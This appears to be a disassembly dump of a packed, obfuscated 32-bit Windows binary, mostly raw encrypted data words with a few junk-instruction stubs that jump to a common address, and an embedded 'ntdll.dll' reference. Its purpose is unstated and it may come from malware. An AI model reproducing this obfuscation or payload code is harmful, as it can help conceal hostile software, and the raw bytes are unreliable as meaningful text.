		dd 85DBB7DBh, 0D10D0437h, 712FB70Ch, 0CC983BBFh, 2417C436h
		dd 0E829DD64h, 338150F8h, 0A3000001h, 24DE8A2Dh, 0AC5602B3h
		dd 20DA8E2Fh, 0AE5400B1h, 7DDB8F2Ch, 0A75486FCh, 16C509F3h
		dd 9B3CB842h, 11C035CFh, 0CF7DEF45h, 1D46D1F5h,	6D6DC448h
		dd 0E01A4EEDh, 892CC6Dh, 5666C2BAh, 6AEC3517h, 0CA6AC7D1h
		dd 0EBB3107Ch, 8E86DB2h, 0E8E315C6h, 7AF8F215h,	751975D9h
		dd 0B4987D9h, 0BF13C032h, 1913BFD3h, 0E58925D4h, 0AC4F8389h
		dd 15C4090Fh, 9471B841h, 924B78CAh, 66FE12BCh, 0D27FF638h
		dd 58F97C86h, 0D1ACFDF4h, 61D73D8Fh, 72EA0CBCh,	2D7A9B41h
		dd 9243EBE8h, 96h, 792DD206h, 0FDA94C83h, 7521D407h, 0FBAF4A8Fh
		dd 7622D101h, 0AD2D51D0h, 2EA05A0Eh, 0B123D98Dh, 2DA05A0Eh
		dd 0E072D88Ch, 46D35A52h, 8821AD1Dh, 1B11A339h,	13175667h
		dd 0F39F33DEh, 0BABF1C84h, 7AC8966Fh, 12A6367Ah, 0F3F955CDh
		dd 718BDF7Ah, 87F15DFCh, 6984126Ch, 0F8BF2D27h,	6A90C475h
		dd 909A36E3h, 0F1A6D661h, 0DF61319Dh, 674BAADh,	15A7F955h
		dd 9944101Fh, 0C5660A92h, 0BBEF8AC3h, 0C16D0C41h, 181D519Fh
		dd 0FA963ADBh, 3E83596h, 0B1000000h, 0EB6DA508h, 5B929834h
		dd 0DC1812BEh, 599D973Bh, 0DE1C16BAh, 579B913Dh, 0CF0208A4h
		dd 57848E22h, 0CF000AA6h, 68E9822Eh, 147Eh, 51241C89h
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	89502434h, 405E0h
		dd 42D0000h, 87000000h,	895C2404h, 0BA522404h, 77C63AE0h
		dd 6628BE56h, 0F2312503h, 81D2F75Eh, 4A4F64EAh,	5AD689A7h
		dd 24048B54h, 8304C483h, 348904ECh, 8408F24h, 582434FFh
		dd 8B04C483h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0DC31B9E0h, 88306410h, 3288BC26h, 26B8D9C7h,	305F06Dh
		dd 85C650C5h, 5EA1A45h,	17256847h, 0B5FFCF38h, 5EA1D45h
		dd 3969858Dh, 0D0FF05EAh, 858DD88Bh, 5EA20FDh, 1046850h
		dd 0D3FF0000h, 1A4585C6h, 685305EAh, 8307F8BFh,	1D45B5FFh
		dd 858D05EAh, 5EA3969h,	8589D0FFh, 5F051B4h, 29F5BD83h
		dd 0F0005EAh, 0B84h, 0BD9D8B00h, 0E905EA2Ah, 5,	0BBh, 1006800h
		dd 0B58D0000h, 5F051B8h, 95FF5356h, 5EA0D25h, 51B8B58Dh
		dd 0F00305F0h, 1E9h, 3E804E00h,	9840F5Ch, 80000000h, 850F2F3Eh
		dd 0FFFFFFEDh, 8D0006C6h, 0F051B885h, 95FF5005h, 5F051B4h
		dd 67E0FF58h, 0E959872Fh, 892062E7h, 0AE301EDDh, 8624659Ah
		dd 2C590005h, 83385527h, 2432E5BEh, 0ED4B36C6h,	0F92A65C8h
		dd 9D7CE319h, 1D4D5319h, 0C8655EEDh, 46162B8h, 0CD702A95h
		dd 8D1EF708h, 0A319C50Dh, 20496363h, 7B1CDD62h,	0F52242E2h
		dd 6907013Fh, 0BD437691h, 0FA575E69h, 9D52E8AAh, 802B6E7Ah
		dd 8278370h, 8D571BB1h,	0F06F728Dh, 61952B05h, 8B05EA08h
		dd 0EA0CBDB5h, 0DD8D8905h, 0E905EA0Ah, 0Eh, 0F186BD9Dh
		dd 692BB5C5h, 4979305Bh, 85C75F25h, 5EA0ACDh, 5D8Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 16C35343h, 85230914h
		dd 5EA2E5Dh, 25F585C7h,	5EAh, 8D890000h, 5EA0AEDh, 0E8E78166h
		dd 29B5FF2Ch, 6605EA0Ch, 51CCE281h, 2A1995FFh, 6A05EAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 9D01C4C3h, 5EA1D89h,	95FF006Ah, 5EA1015h, 6AEBC08Bh
		dd 34986F29h, 807FD7CEh, 1A8F279Ah, 3495DB3Dh, 2D523235h
		dd 63E9B15Dh, 778AB247h, 0C792777Eh, 2928E679h,	56DD1992h
		dd 6CFF3C0Ch, 9E28C5D2h, 0D3E5DBEDh, 914E07EEh,	675CC060h
		dd 3EA26276h, 168FD1Ch,	86A21A52h, 0DD4E9BA8h, 0E57DE5E5h
		dd 0DA093F45h, 4259C6FDh, 7C082FE8h, 39C3C8A2h,	147EC2D1h
		dd 9921E551h, 11E85D7Ch, 33000000h, 0A4D7FD45h,	0F1237AB0h
		dd 4B02ED8h, 0F1363CF5h, 66D7B160h, 613A67BEh, 0F1BD8B5Bh
		dd 8105EA2Eh, 6B01C3h, 0CF78100h, 2B66CBCDh, 7FCD80D2h
		dd 0E81A34FFh, 7, 0AD435BD2h, 0BBD5C56h, 0EA004185h, 0BF5E5805h
		dd 1651D6EAh, 0E30FC681h, 13E96F80h, 0D8000000h, 4A34B445h
		dd 0DF8ED402h, 8815C9Ah, 1D69950Eh, 0EE8149BCh,	50A09197h
		dd 7B4EFCBFh, 0E1EE8101h, 8B0C3E7Fh, 0EA0101BDh, 13348905h
		dd 2BC78166h, 8B6660C5h, 0C28B66F2h, 61EA8161h,	667EB635h
		dd 0C281C68Bh, 7EB6355Dh, 0FC58D8Bh, 0FA8105EAh, 0FFFF95B0h
		dd 0FF7E850Fh, 0C18BFFFFh, 0DE8h, 7069BE00h, 0B96FF06Eh
		dd 8AFCEF96h, 9D09FA11h, 5EA104Dh, 0FFB70F58h, 65AFC081h
		dd 0BE660000h, 0BA29B0h, 60000000h, 12E8h, 54117C00h, 97C7E005h
		dd 887F0F69h, 65FF0B7Fh, 8114721Eh, 3E9CB9EEh, 0BD895968h
		dd 5EA0BF9h, 101C8B61h,	86E68166h, 7C38168h, 813B69DBh
		dd 36DDABCFh, 0EBC38115h, 81691605h, 14140EC3h,	0B9665018h
		dd 895950D3h, 7E9101Ch,	0A8000000h, 6072F267h, 0BE66869Bh
		dd 0EA8358C5h, 0E4FA8104h, 0FFFFF9Ah, 0FFFFB885h, 0CA8B66FFh
		dd 0CE8h, 8FCB4900h, 22F12DFEh,	1A7ED09Ch, 7E806h, 0BEAC0000h
		dd 0E98A8435h, 7E916h, 0CC2B0000h, 3D90A234h, 81585909h
		dd 70C9C0h, 0BED38A00h,	1C0Ch, 8BD1B70Fh, 9598B938h, 0C7811BCCh
		dd 5E9B22Dh, 811DC180h,	77CD6DC7h, 6E939h, 17960000h, 82C85B21h
		dd 0D7B7F781h, 0B70F4939h, 850F57DFh, 3, 8F77E280h, 28F0F00h
		dd 8B000000h, 1E883D3h,	31484848h, 0EA256585h, 1EE8105h
		dd 0F000000h, 0FFFFAA85h, 5E8FFh, 5220000h, 2912CAAEh
		dd 0EA0919BDh, 26EB5B05h, 33B61B90h, 558EAFECh,	6C64746Eh
		dd 6C642E6Ch, 2188006Ch, 5D340746h, 5F55A3D2h, 505Ah, 0
		dd 83E90000h, 68000006h, 5F07313h, 0FA0C69E9h, 73F768FFh
		dd 5FE905F0h, 68FFFA0Ch, 5F0747Fh, 0FA0C55E9h, 756568FFh
		dd 4BE905F0h, 68FFFA0Ch, 5F07631h, 0FA0C41E9h, 770268FFh
		dd 37E905F0h, 2FFFFA0Ch, 58A2F6A9h, 0C8326617h,	44BEEA8Bh
		dd 0CA306415h, 19BFEB88h, 0CB68EA98h, 42F1659Fh, 0CF70EC16h
		dd 4DEC619Bh, 9321B319h, 1D46D899h, 0B6C960ECh,	24h, 8E86DEFh
		dd 8B438666h, 933F53F1h, 0FE557CDh, 6217570Fh, 165F59FAh
		dd 0D7A92F7Bh, 5717570Eh, 7F267225h, 1C421B6Eh,	0BC77FDAEh
		dd 0E017D912h, 0F7FD913Dh, 0B70D37Eh, 77493F93h, 0C1116C55h
		dd 68105D8Fh, 942E2427h, 217h, 84F739CDh, 253D72D1h, 540AD326h
		dd 0BC7D4DE6h, 62B82012h, 1BB83EF0h, 278DBB7h, 0CD8EA7FDh
		dd 0BCE2BBCEh, 0A3B65D0Eh, 64C85048h, 0D485F43Ah, 5E277277h
		dd 0F65EB200h, 99142B8h, 0A5549957h, 17C20BF1h,	43F3AB24h
		dd 38E941B2h, 4C4h, 1145FA7Eh, 0E5B164EBh, 6D39DC1Fh, 0E3B76297h
		dd 6E3AD919h, 0C53549C8h, 36B84216h, 0A92BD185h, 1558A2F6h
		dd 89A3064h, 46D9C2BAh,	10B9351Dh, 0AD2FE86Dh, 204CED6Ch
		dd 208CE08Ch, 0EB63E029h, 0C87A2448h, 12BC738Fh, 0AA643AA2h
		dd 8BD37025h, 957C2238h, 0CF9D8F2Eh, 6560C3E6h,	0FE174914h
		dd 5BA02D29h, 1644E757h, 0D0A4168Ch, 23116B70h,	0C96218BBh
		dd 0BC0CD187h, 0DD44FE24h, 5283F6CFh, 92207E47h, 6E49AEC1h
		dd 0C074AB4h, 2C402CCDh, 0A5808980h, 12C135FBh,	14493BEh
		dd 0E3600B0Fh, 0E47E2C8Fh, 8A38A72Ah, 6CF99EB2h, 52F19D05h
		dd 5F01F828h, 51B82268h, 0C5B1C80Ah, 1FB8DBFh, 5D670C01h
		dd 0C0115EFh, 87F06867h, 5FC7BC1Fh, 0EB86CF01h,	611045BFh
		dd 9DD6D352h, 5889218Ch, 3E0h, 0F5A1569Ah, 4115C80Fh, 0D18538BBh
		dd 5F0BA62Bh, 0D28635A5h, 4989F574h, 0D204FEAAh, 4D8F7521h
		dd 0D104FEAAh, 4CDE7420h, 46DA06FEh, 5CF5791Dh,	0E549E86Dh
		dd 9EC09DECh, 0BC7B132Ch, 2A7EE612h, 0A1FFC6D3h, 9686F53Bh
		dd 262D95Bh, 6AC6AA76h,	0CADFA506h, 790CBBF9h, 0D78B61D3h
		dd 66FE0B7Bh, 539A540Ah, 0C508F2A6h, 68B1B814h,	9759C39Dh
		dd 701CB063h, 0DA56A9D3h, 31A906E1h, 180DAD02h,	2D37BEEh
		dd 358h, 6D39DE12h, 0E9BD6097h,	693DE013h, 0E7B35E93h
		dd 6A3EDD1Dh, 0C1314DCCh, 3ABC4612h, 0C537CD99h, 39BC4612h
		dd 0F466CC98h, 46DB6E46h, 0E44DC11Dh, 0E549E86Dh, 9EC09DECh
		dd 0EB88CA04h, 6D0D3248h, 608912BCh, 72161C4Bh,	0C2B91A43h
		dd 0E90CE61Bh, 305C97B6h, 1A34564h, 241C0000h, 7E475219h
		dd 7CD99220h, 4B8512BCh, 88F35003h, 4D804E10h, 63D90FACh
		dd 0DC8077CDh, 0D5616089h, 8EE8C8h, 8A53A6A3h, 50566D4h
		dd 0E0781795h, 9E9624BEh, 11164502h, 0D48A2A89h, 5808713Dh
		dd 20838C87h, 5709D425h, 49E324CDh, 93A27BCEh, 455C0FE5h
		dd 59FA6216h, 175F910Bh, 7A4C864h, 0AABF2B7Dh, 98C65E11h
		dd 0ACBCB002h, 970F1057h, 32FC6634h, 0BBBD1EBBh, 29D38732h
		dd 6BC6F5A4h, 81E3522Ah, 272F829h, 0C8080000h, 36B94317h
		dd 0AA29D387h, 34A55F0Bh, 0A72BD185h, 8706A0F4h, 8CD87BFFh
		dd 7530076h, 8CD87FFDh,	652FF76h, 0B88C3EACh, 0B1D46DBh
		dd 0F7392E87h, 7573D083h, 0F4FD5100h, 0DA38BEA5h, 0C0BEA217h
		dd 88E48853h, 7A2B64D6h, 0C65E12BCh, 576B7198h,	0EE1B1ED6h
		dd 98A6154Dh, 0A7F9C4D5h, 0D1BB5E15h, 13C9510Ch, 0E2B2B4A9h
		dd 11EC3D8Dh, 6C7EA64Fh, 50A6864Fh, 63C8BC0Eh, 0A33B7CA0h
		dd 83E05200h, 0F6780642h, 529CC26Eh, 0FAF2401Fh, 4D76B63Fh
		dd 7915B9D5h, 95CADFDAh, 711DB160h, 9FF1431Dh, 0D2721BA2h
		dd 678E144Ah, 0BD276C54h, 413B4D19h, 0B470C8B7h, 13DD8F2Ch
		dd 916B3FDAh, 3D8EBD5Ch, 0C382E120h, 1A6BA6Bh, 1C5C0000h
		dd 0A2D52F7Bh, 1E5DA7F3h, 0A0D12B7Fh, 1B5FA5F1h, 0B8A2C78h
		dd 1044F77Bh, 0E3B764EAh, 7024DB19h, 0C296438Ah, 7448FA68h
		dd 0C71D46DDh, 0E86DE24Bh, 9DECE549h, 132C9EC0h, 0E612BC7Bh
		dd 8824D518h, 72DC88E4h, 3C9F40BCh, 11A33999h, 1756671Bh
		dd 5055F66Eh, 5DD81A49h, 0BFD37F1Eh, 721FFED3h,	0C68636FEh
		dd 0E21DF4AAh, 2DABE943h, 4B6E447h, 12A65407h, 0B27C22BAh
		dd 64CA9E3Bh, 268A27AAh, 6408A92Ch, 0ED8CC1C7h,	64414841h
		dd 0D081F43Ah, 0FE3B13FDh, 8A29CEE1h, 0A53F6AD8h, 0F00E0CB5h
		dd 0ECB2DE7Fh, 5A0EAB22h, 95321DF4h, 461F4C99h,	0CF6AE3E5h
		dd 461F6A63h, 0B979AA18h, 0B24C06DBh, 0C0F39F3Ch, 0EE1E2E89h
		dd 0D5E2339Bh, 6F000000h, 986236E9h, 8F2A657h, 847E2ACBh
		dd 0AF0A455h, 0D97F2BC8h, 0BA82A58h, 8231A55Fh,	0FB02CD6h
		dd 8D2CA15Bh, 53E173D9h, 1D46DE59h, 398920ACh, 671B11A3h
		dd 0F66E1756h, 3D495055h, 37CB66C0h, 0EDB3DF0Ah, 0A667345Fh
		dd 0AD20EE12h, 6FCCA00Ch, 2A208C14h, 58A2F6A3h,	0BEC86415h
		dd 3D0C1EA3h, 6CD9302Ah, 1BB2E7D6h, 0D4A81A44h,	27BBBBB8h
		dd 2E5E1CBFh, 6135E469h, 5F0126CFh, 5D38B5E8h, 0C475F8FEh
		dd 42EF6268h, 0D400BEEEh, 0C1BB0993h, 34BBBBD7h, 0C4090FACh
		dd 63D14B15h, 0BBBBD889h, 9FC764FCh, 0D97CFF31h, 58F97C7Ah
		dd 0D485C806h, 5DFE9BDEh, 0E86DA3FDh, 1537EA49h, 99000000h
		dd 0D7BBB103h, 960EBBBBh, 0D8827AC8h, 6DF5BBBBh, 0A5086BCEh
		dd 9834EB6Dh, 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch
		dd 8A4579Bh, 8E22CF02h,	0AA65784h, 822ECF00h
		db 0E9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	4AAEh
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	edi, 0AC963BFh
		or	edi, 0F780A67h
		sub	edi, 7420515Ch
		shr	edi, 6
		push	ebp
		mov	ebp, 0FC7EF228h
		sub	edi, ebp
		pop	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 8
		add	ecx, ebp
		mov	[ecx], edi
		pop	ecx
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		db 0A9h, 0B8h, 0FCh
		dd 305F077h, 9BE0FFC5h,	885E6BD4h, 0AB295CA2h, 0E075887Ah
		dd 6D5469BAh, 4C4513B4h, 0E470E62Ch, 0AE594A79h, 7B6348CBh
		dd 0B49C9F8h, 4B7CF2C1h, 0E8623431h, 10h, 12236D81h, 6DF7B80Ch
		dd 33BF1149h, 87B0A7EEh, 0BE95BF5h, 0E3000000h,	9AA01AC8h
		dd 690231C7h, 0C3814B8Ch, 60EDh, 0A5C98166h, 81D22B64h
		dd 0CD6500C8h, 1A34FF6Dh, 6A5481B9h, 0D4805E20h, 1AF6815Dh
		dd 0E87B4B34h, 0Ch, 5D655C1Eh, 0E724ADF9h, 0D341107Fh
		dd 0EE815FF9h, 7E114205h, 81CACC80h, 0A83E16EEh, 0C9816057h
		dd 0A6A16E7h, 5661CF8Ah, 6613048Fh, 8B66CF8Bh, 48EA81FAh
		dd 0F0D5374h, 0C281C7B7h, 0D537444h, 0B8C0Fh, 8D0F0000h
		dd 5, 0AEE88166h, 0E4FA811Eh, 0FFFFF9Fh, 2085h,	5E900h
		dd 34A20000h, 0E98649A8h, 1Dh, 21C61574h, 25DA2134h, 0C943D7A2h
		dd 0C12B2D68h, 0FF67E965h, 0A0EEFFFFh, 0D5AED6EEh, 8EB32h
		dd 0FB000000h, 0E9242043h, 48Dh, 0F07AA068h, 4C8E905h
		dd 3C68FFFAh, 0E905F07Bh, 0FFFA04BEh, 0F07C7468h, 4B4E905h
		dd 28A8FFFAh, 96D92377h, 0A49B3E7h, 94C53F6Bh, 74BB1E5h
		dd 27A60054h, 2C781B5Fh, 0A7F3A0D6h, 2C781F5Dh,	0A6F29FD6h
		dd 582C9E0Ch, 0AB1D46E0h, 0ED6D8E27h, 65E8E24Eh, 94F89DD2h
		dd 27D804CAh, 0D425DC84h, 6D90C448h, 0BAD6BAC4h, 160556E4h
		dd 60F812BDh, 0EF7EF03Eh, 6CF3675Dh, 2E42DA11h,	655B2D8Dh
		dd 0D3116CF3h, 92666F9Dh, 0E22E24C5h, 2ECh, 280F24BBh
		dd 0E85A04E1h, 12BC7D53h, 9E0BE26h, 0E15ECC73h,	5C8A29D6h
		dd 480859E6h, 0BE8792E4h, 1C9952E0h, 0C66C0F6Ch, 1BEA8074h
		dd 76BF30Eh, 0D42AC359h, 63093DCAh, 1FBDB7C1h, 0CE300E1Ch
		dd 2784E88Dh, 0A27B8E87h, 19D14EFCh, 0FC640982h, 48E96CA2h
		dd 0A46FE61Ch, 462A8637h, 0E829192Ah, 75DDEB77h, 2E3A4h
		dd 0D48BCD00h, 40F57A80h, 0C86DEE14h, 46F3669Ch, 0C96AE812h
		dd 0C8BA3B9Dh, 47BDE98Ah, 0C2386C0Fh, 43B9ED92h, 913B6F0Ah
		dd 0E0BBB103h, 820E1D46h, 421B6E2Bh, 0FDA2D21Ch, 0CC9E3D51h
		dd 0A61FF47Eh, 31A46A12h, 0A6582380h, 0B2EC8035h, 0B73BFE7Ch
		dd 0F8366804h, 625AE87Bh, 0D51165EEh, 0DA82214Dh, 0AD01B220h
		dd 0AD8069F3h, 0F54A7478h, 8A2C0076h, 619F1165h, 82EE42F1h
		dd 6374DEEh, 9CE2B8BDh,	0D17D2252h, 5B51E3BDh, 0AE11658Ah
		dd 5A939536h, 44C68CBFh, 0F65EE244h, 24727h, 781F5100h
		dd 0FCA1D62Ch, 7C2152A8h, 0F29FD228h, 7D1E5CA6h, 740E8F29h
		dd 0FB015506h, 6E94C073h, 0E71D49EEh, 3D97C36Eh, 0E2271DAFh
		dd 169A1D46h, 421B6EBFh, 1F44AE1Ch, 2BB312A6h, 8639BB75h
		dd 0B4C462Ah, 9AAC66Ah,	0ECE9DFA9h, 19571165h, 0C316E2EBh
		dd 0A36D2E1Dh, 4824882Bh, 186B2EBh, 6DEB0000h, 0BBE549E8h
		dd 0F0530275h, 86D27FF6h, 0D532A7Fh, 0BC7570BFh, 77DB4312h
		dd 6C532F01h, 3ED78911h, 72944925h, 58F978EBh, 57F498F4h
		dd 0EA9EE715h, 1A2E237Fh, 25h, 421B6E43h, 0C48861Ch, 99B2C86Bh
		dd 2C12BC48h, 9A6E18B4h, 0E6116C38h, 47313CA8h,	0B72E240Ah
		dd 0B2h, 2FE86DEEh, 0CAA60AADh,	0D2000AA6h, 4E878D21h
		dd 0D567FDA3h, 175666DFh, 0BEE7CA52h, 0CE730983h, 161CBC1Fh
		dd 0C86632DFh, 8F23D006h, 0AA65585h, 0D3A90A66h, 1756F783h
		dd 7F2BC60Fh, 3BD61FD1h, 0B18C9D98h, 4ECD5DEFh,	0BC5512BBh
		dd 6CC89AC1h, 66CEC5D3h, 2053311Ch, 0BF275CFFh,	5B927BE1h
		dd 0CE2C62CEh, 0E11117B4h, 5E9C6632h, 0CBD28EBDh, 0FE56E23Fh
		dd 10F2Fh, 20D71900h, 94498E74h, 4B93AC0h, 8A27AA50h, 5B624DEh
		dd 0C76F751h, 83792DCEh, 6FCA84Bh, 8F7521D6h, 55FFAB46h
		dd 0E37F75C7h, 7EF21D46h, 4EED6DD7h, 0CC6DE01Ah, 0E86DC198h
		dd 99F5A82Fh, 16C509C7h, 9F3CDD1Ch, 11C0353Fh, 0F66DBC45h
		dd 0E5BBD784h, 5A29770Ch, 0FF7393FDh, 0C193305Ch, 0BCF19C73h
		dd 6937AF12h, 0E1DB69F3h, 54116CE0h, 0E78B28AAh, 22104244h
		dd 812349DAh, 11452954h, 6C69A197h, 35E46911h, 8037A56Bh
		dd 0BBE3402Ch, 473D8F15h, 0BA116C6Ah, 53878122h, 0BB520CA0h
		dd 0A0DC7610h, 0AFC2D2FFh, 6134E94Ah, 6D000000h, 1C421B6Eh
		dd 0A61F40AEh, 0FD718F12h, 0F29EF25Eh, 7021545Eh, 0FA97DE24h
		dd 0E1E22056h, 63693095h, 7623AAF1h, 0C075E628h, 0FBA3006Ch
		dd 812DCC01h, 7AB468Bh,	3C7BE957h, 0DC4618B9h, 5D406E35h
		dd 87F19619h, 0EF9628ADh, 74C69800h, 0EF962980h, 90C86BF3h
		dd 9A36E36Ah, 34Bh, 0A5081200h,	9834EB6Dh, 12BE5B92h, 973BDC18h
		dd 16BA599Dh, 913DDE1Ch, 8A4579Bh, 8E22CF02h, 0AA65784h
		dd 822ECF00h, 71968E9h,	4890000h, 0E2895224h, 4C281h, 0EA830000h
		dd 24148704h, 241C895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 52240489h, 160BB4BAh, 2EAC128h, 928EA81h, 81520415h
		dd 54162434h, 815B2642h, 425416F3h, 8B545A26h, 0C4812404h
		dd 4, 8B951h, 0C1010000h, 0C8B1989h, 4C48324h, 582434FFh
		dd 0FF04C483h, 815B2434h, 4C4h,	54E900h, 8F2FFFFAh, 0ECAE0F92h
		dd 1856411Dh, 22118253h, 7DA8B8FCh, 0C50305F0h,	0B11EE0FFh
		dd 0D2015581h, 0B4283052h, 14E819C9h, 0C4000000h, 40C18CBFh
		dd 0A14BEAE5h, 43004711h, 141319C0h, 6641E8D4h,	0EB2C281h
		dd 5850F58h, 66000000h,	9EF0D381h, 64E1C081h, 0C3810000h
		dd 50EE3CD7h, 6D3597BEh, 8BEE8111h, 0B5116D1Ch,	5F30FF3Ch
		dd 81DEBF0Fh, 272AEDC7h, 81D98B35h, 87FF1FC7h, 0E380605Dh
		dd 3CC7819Dh, 614B13EEh, 4B7DF781h, 57564C4Dh, 5B59A9B6h
		dd 10E93889h, 0BC000000h, 0BF8E74BFh, 54C95716h, 0FB315E7Dh
		dd 83B47C7Ah, 0EE803E8h, 99000000h, 186E68B4h, 88726ABBh
		dd 0C5A6C518h, 68D0FA4h, 0F000000h, 83h, 66485900h, 4EAE181h
		dd 1EE81h, 850F0000h, 0FFFFFF89h, 7FB68D8Dh, 8D8905F0h
		dd 5EA0ADDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	29C35545h, 51F813F4h, 5CB090BFh, 85C75E41h, 5EA0ACDh
		dd 7094h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	92C35343h, 0EBB860D9h, 8B77D699h, 0EA14A195h, 0F585C705h
		dd 5EA25h, 89000000h, 0EA19ED85h, 0DB58B05h, 0FF05EA0Dh
		dd 0EA0C71B5h, 0CC84BA05h, 95FF7473h, 5EA2A19h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 25C35040h, 87F280DDh
		dd 95FF006Ah, 5EA1015h,	5EEBC08Bh, 0ADBF2B93h, 36CAEA5Ah
		dd 3F91B27h, 0E96AE032h, 0C25D8436h, 1BC03512h,	0D3E672F0h
		dd 901BA061h, 70A4975Ch, 55FBBA53h, 0A86EF82Ch,	0DD006133h
		dd 4D3A13B7h, 0CE7C5442h, 0EA88A4EFh, 0C087C210h, 0B0CDF93Dh
		dd 6CDCCDEDh, 0DA817EF9h, 240BD605h, 5A0C74B5h,	61E7C6F3h
		dd 1B7B1EECh, 8D8DD6EDh, 5F08093h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 30C35040h, 82FE2A54h, 9D89E58Ah
		dd 5EA0B41h, 0ADD8D89h,	850105EAh, 5EA083Dh, 0ACD85C7h
		dd 699C05EAh, 8D890000h, 5EA2A15h, 25F585C7h, 5EAh, 0B5890000h
		dd 5EA0815h, 3DB5FFh, 958905EAh, 5EA1569h, 1995FFF8h, 0B05EA2Ah
		dd 0EA00BD9Dh
		dd 0FF006A05h, 0EA101595h, 0EBC08B05h, 0D0E24F4Eh, 0D8BA5EC4h
		dd 6DFA2D31h, 0E226968Eh, 917CAD41h, 0C0662F06h, 0A9359522h
		dd 8F4D8916h, 7BDF75C0h, 0C428DB2Ah, 3B4E1176h,	0D6E2CD43h
		dd 0E0A2640Ah, 0A4A6A2FAh, 0B27B07D1h, 0C5332C16h, 93845CAFh
		dd 87D124E7h, 0BA942729h, 53EE6416h, 5DB13EE8h,	0ACF53256h
		dd 55F501EEh, 0ABB13256h, 0D5B13256h, 0EAE8C286h, 75EA1E83h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13254h, 57B63581h, 0ABAB3252h, 0D5BB3244h, 0E938327Ch
		dd 77F93256h, 0B8F93256h, 5DB132EEh, 7F3A6956h,	7385BB37h
		dd 0E7CEAC8Fh, 49D162C3h, 0EAB13EBFh, 77FCD656h, 0F4F86245h
		dd 7B44E39h, 483054DDh,	5B584A70h, 0BFB13256h, 55B280EBh
		dd 46EECCEFh, 0E8CA3823h, 29D08FE2h, 79B5B337h,	0FB0B5C8Bh
		dd 0CBB13256h, 239A48F3h, 0E1B67477h, 4A12E00Bh, 0B94E2C0Fh
		dd 27AA1843h, 0DD06A0Ch, 11E36236h, 1BB9C686h, 570A0359h
		dd 8FC062DBh, 130E3D0Eh, 0B8D5A037h, 7361A1D4h,	0D84DDD98h
		dd 0F42C398Ch, 7E1530Eh, 42E36204h, 0D5B13258h,	1F9DED28h
		dd 4A9C9DCh, 1775E500h,	6CBE41B4h, 0AEB126BFh, 6DD46E56h
		dd 0AD507ABDh, 47ACC691h, 34A85235h, 9F64BEE9h,	0B5E9688Dh
		dd 5DBDDB67h, 23953256h, 0DE216114h, 0EE0D9DD8h, 8DEBF9CCh
		dd 0F82C46C6h, 2B28D2B5h, 0D0E43E69h, 6B79B20Dh, 0AEB13EBFh
		dd 95BC9656h, 0A5B82285h, 0CF740E79h, 0B0D0AF1Dh, 51F5BB0Eh
		dd 532D5252h, 5DB13253h, 0C2AE8C2Fh, 0F51B263h,	0ABB134BFh
		dd 0D1A6A456h, 770210BBh, 0F5326A37h, 0AE584CA7h, 71B13256h
		dd 0B64AB8A3h, 93666427h, 9BC2D0FBh, 897E1CFFh,	775A0833h
		dd 14B68637h, 0BAB1320Eh, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B1DA36h, 3BEB3256h, 0AD3297BCh
		dd 0C934BF53h, 0DEB4DDB0h, 5B31C9D4h, 0B933BF53h, 63B4C374h
		dd 8531CDD4h, 0B3FFDA53h, 26593256h, 69B13256h,	0A731D9D4h
		dd 0ABB13253h, 50776056h, 0EF5B2813h, 0CDE35A00h, 0F4EAEFEh
		dd 585B11DBh, 111B7DBh,	874E37BBh, 884CB7DFh, 0D1DB37BCh
		dd 0EAA1323Eh, 78F15A56h, 0BADB3255h, 56EBE2A9h, 27824696h
		dd 0A731D9D4h, 4433BB53h, 6CB4C2D6h, 0EAB23F16h, 0B582CADDh
